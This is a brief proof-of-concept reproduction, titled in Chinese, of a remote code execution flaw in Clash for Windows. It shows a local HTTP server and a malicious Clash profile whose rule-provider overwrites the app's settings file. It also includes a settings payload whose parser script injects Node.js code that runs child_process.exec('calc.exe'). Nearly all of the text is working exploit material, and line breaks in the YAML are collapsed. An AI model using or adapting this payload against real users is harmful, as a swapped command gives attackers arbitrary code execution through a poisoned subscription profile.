clash_for_windows_pkg 远程代码执行漏洞复现

python -m http.serverServing HTTP on :: port 8000 (http://[::]:8000/) ...

port: 7890socks-port: 7891allow-lan: truemode: Rulelog-level: infoexternal-controller: :9090proxies:  - name: a    type: socks5    server: 127.0.0.1    port: "17938"    skip-cert-verify: truerule-providers:  p:    type: http    behavior: domain    url: "http://127.0.0.1:8000/cfw-settings.yaml"    path: ./cfw-settings.yaml    interval: 86400

payload:  - DOMAIN-SUFFIX,acl4.ssr,全球直连showNewVersionIcon: truehideAfterStartup: falserandomControllerPort: truerunTimeFormat: "hh : mm : ss"trayOrders:  - - icon  - - status    - traffic    - texthideTrayIcon: falseconnShowProcess: trueshowTrayProxyDelayIndicator: trueprofileParsersText: >-  parsers:    - reg: .*      code:         module.exports.parse = async (raw, { axios, yaml, notify, console }, { name, url, interval, selected }) => {          require("child_process").exec("calc.exe");          return raw;          }